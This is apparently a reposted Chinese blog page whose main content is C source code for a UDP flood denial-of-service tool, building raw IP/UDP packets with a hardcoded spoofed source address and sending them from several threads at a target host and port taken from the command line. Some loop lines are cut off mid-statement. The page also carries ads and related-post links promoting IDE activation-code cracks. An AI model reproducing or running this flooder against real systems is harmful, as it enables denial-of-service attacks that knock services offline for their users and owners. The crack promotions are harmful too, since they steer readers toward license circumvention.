tcp洪水攻击_udp编程socket

tcp洪水攻击_udp编程socket#include/**UDP洪水攻击:不停的向目的主机发送UDP包,让目的主机接收端口拥塞,以达到攻击的目的**/#defineMAXCHILD2#defineK1024#defineDATUML1*KstaticintPROTO_UDP=-1;//UDP协议类型staticunsignedlongdest=0;//目的地址,32位二进制staticintdest_po…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

#include /**

UDP洪水攻击:

不停的向目的主机发送UDP包,让目的主机接收端口拥塞,以达到攻击的目的

**/

#define MAXCHILD 2

#define K 1024

#define DATUML 1*K

static int PROTO_UDP=-1;//UDP协议类型

static unsigned long dest=0;//目的地址,32位二进制

static int dest_port=0;

static int rawsock=-1;//原始套接字

static int alive=0;

//整个IP报文包括3个部分,IP首部,UDP首部,UDP数据部分

struct dosseg_t {

struct ip iph;//IP头部

struct udphdr udph;//UDP头部

unsigned char data[8192];//UDP数据部分

}dosseg;

//计算校验和

static unsigned short DoS_cksum(unsigned short *data,int length){

register int left=length;

register unsigned short*word=data;

register int sum=0;

unsigned short ret=0;

//计算偶数字节

while(left>1){

sum+=*word++;

left-=2;

}

if(left==1){

*(unsigned char*)(&ret)=*(unsigned char*)word;

sum+=ret;

}

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

ret=~sum;

return ret;

}

static inline long myrandom(int begin,int end){//根据不同的种子,随机出不同的数

int gap=end-begin+1;

int ret=0;

//系统时间初始化

srand((unsigned)time(0));

ret=random()%gap+begin;//介于begin与end之间的值

return ret;

}

static void DoS_udp(){

struct in_addr src;//源地址

struct in_addr dst;//目的地址

int i;

int total_len=sizeof(struct ip)+sizeof(struct udphdr)+1024;//DATUML为UDP数据部分的长度

struct sockaddr_in to;

//首先填充IP首部

dosseg.iph.ip_v=4;//IP版本号

dosseg.iph.ip_hl=5;//IP首部长度,以4字节为单位

dosseg.iph.ip_tos=0;//服务类型

dosseg.iph.ip_len=htons(total_len);//IP报文的总长度

dosseg.iph.ip_id=htons(getpid());//IP报文标识,进程PID

dosseg.iph.ip_off=0;//段偏移

dosseg.iph.ip_ttl=myrandom(200,255);//生存值

dosseg.iph.ip_p=PROTO_UDP;//协议类型

dosseg.iph.ip_sum=0;//检验和

src.s_addr=inet_addr(“222.27.253.108”);//(unsigned long)myrandom(0,65535);

dosseg.iph.ip_src=src;

dst.s_addr=dest;

dosseg.iph.ip_dst=dst;

dosseg.iph.ip_sum=DoS_cksum((unsigned short*)&dosseg.iph,sizeof(dosseg.iph));//检验和

//填充UDP报文的首部

#ifdef __FAVOR_BSD

dosseg.udph.uh_sport=htons((unsigned long)myrandom(0,65535));//udp源端口

dosseg.udph.uh_dport=htons(dest_port);//UDP目的端口

dosseg.udph.uh_ulen=htons(sizeof(dosseg.udph)+1024);//UDP数据长度包括UDP首部和UDP数据部分

dosseg.udph.uh_sum=0;

dosseg.udph.uh_sum=DoS_cksum((unsigned short*)&dosseg.udph,total_len);//UDP校验和

#else

dosseg.udph.source=htons((unsigned long)myrandom(0,65535));//udp源端口

dosseg.udph.dest=htons(dest_port);//UDP目的端口

dosseg.udph.len=htons(sizeof(dosseg.udph)+1024);//UDP数据长度包括UDP首部和UDP数据部分

dosseg.udph.check=0;

dosseg.udph.check=DoS_cksum((unsigned short*)&dosseg.udph,total_len);//UDP校验和

#endif

//填写目的地址部分

to.sin_family=AF_INET;

to.sin_addr.s_addr=dest;

to.sin_port=htons(dest_port);

//发送数据

int size=sendto(rawsock,&dosseg,total_len,0,(struct sockaddr*)&to,sizeof(struct sockaddr));

if(size<0){

perror(“sendto”);

}

//printf(“size=%d\n”,size);

}

//线程函数

static void DoS_fun(unsigned long ip){

while(alive){

DoS_udp();

}

}

static void DoS_sig(){

alive=0;

printf(“——-exit—-\n”);

return;

}

int main(int argc,char*argv[]){

struct hostent* host=NULL;//主机的相关信息

struct protoent*protocol=NULL;//协议的相关信息

char protoname[]=”udp”;

struct in_addr dst;

int i=0;

int err=-1;

alive=1;

pthread_t pthread[MAXCHILD];//线程数组

signal(SIGINT,DoS_sig);//信号处理函数

if(argc<3){

return -1;

}

//获取UDP的协议类型

protocol=getprotobyname(protoname);

if(protocol==NULL){

perror(“get protobyname”);

return -1;

}

PROTO_UDP=protocol->p_proto;

dest=inet_addr(argv[1]);//得到目的地址

if(dest==INADDR_NONE){

host=gethostbyname(argv[1]);

if(host==NULL){

perror(“gethostbyname”);

}

memcpy((char*)&dst,host->h_addr,host->h_length);

dest=dst.s_addr;

}

dest_port=atoi(argv[2]);

//建立原始套接字

rawsock=socket(AF_INET,SOCK_RAW,PROTO_UDP);

printf(“rawsock=%d\n”,rawsock);

if(rawsock<0){

perror(“socket error”);

}

//设置手工填写IP首部

setsockopt(rawsock,SOL_IP,IP_HDRINCL,”1″,sizeof(“1”));

//建立多线程发送UDP包

for(i=0;i

err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);

}

//等待线程结束

for(i=0;i

pthread_join(pthread[i],NULL);

}

close(rawsock);

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/186922.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • java中的基本数据类型一定存储在栈中吗?

    java中的基本数据类型一定存储在栈中吗?首先说明,”java中的基本数据类型一定存储在栈中的吗?”这句话肯定是错误的。下面让我们一起来分析一下原因:基本数据类型是放在栈中还是放在堆中,这取决于基本类型在何处声明,下面对数据类型在内存中的存储问题来解释一下: 一:在方法中声明的变量,即该变量是局部变量,每当程序调用方法时,系统都会为该方法建立一个方法栈,其所在方法中声明的变量就放在方法栈中,当方法结束系统会释放方法栈,其对应在该方法中声明的变量随着栈的销毁而结束,这就局部变量只能在方法中有效的原因 在方法中…

    2022年6月13日
    26
  • C语言和Java哪个难学?[通俗易懂]

    C语言和Java哪个难学?[通俗易懂]有人说:世界上有两种程序员,一种用Tab键,另一种用Space键。在程序员圈子有这样一条鄙视链(小道传说):C++程序员看不起C程序员,C程序员看不起Java程序员,Java程序员看不起C#程序员,C#程序员看不起美工。为什么大家普遍认为C语言比Java难?我认为原因如下:C属于底层代码,能窥探到底层,也就是说可以拿它写硬件驱动,学习C语言前面的内容比Java简单但是到了后来特别是指针、…

    2022年7月16日
    22
  • idea2021激活码破解方法

    idea2021激活码破解方法,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月14日
    69
  • 百度网盘下载提速,推荐3种亲测有效的方法

    百度网盘下载提速,推荐3种亲测有效的方法凉透的下载工具自从PanDownload事件之后,陆续出了很多第三方的度盘不限速下载神器,但是最后都凉了,这些第三方下载神器,都是个人开发者,即便有盈利也承受不起巨大的风险。甚至有款下载神器,用爱发电!流程是这样的,1.用户提交下载链接,2.然后开发者先下载好资源(当然开发者开的是超级会员),3.最后下载完成后保存到阿里云,然后再发送给用户。当然最后还是凉凉了!比如PDown、Dupan、忆寻,最终还是都死掉了,很可惜!现在还有没有百度网盘加速下载的方法呢?这里从解决实际问题的角度上,给大家

    2022年4月28日
    57
  • import duties(Python import变量)

    最近在读《编程之美》,打算用C#实现其中一个题目,就是如何控制CPU的使用率在50%,使得在资源管理器中CPU利用率维持在一条直线。单核的还容易办到,但是现在的机器一般都是多核的,这样就需要调用Win32API SetThreadAffinityMask 来给线程制定CPU去执行。但这个API只能在C++调用,那么在C#里如何调用呢?更进一步,就是在C#里为什么没有全部的WIN32API可

    2022年4月15日
    55
  • 修改cmd 命令行中的用户名|C:\Users\下的用户名[通俗易懂]

    修改cmd 命令行中的用户名|C:\Users\下的用户名[通俗易懂]修改→cmd命令行中的用户名|C:\Users\下的用户名1.打开运行输入regedit回车2.定位到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ProfileList3.选中下面名字最长的项,双击右侧ProfileImagePath,修改c:\user后的用户名第一步,修改用户名cmdcontro…

    2022年10月7日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号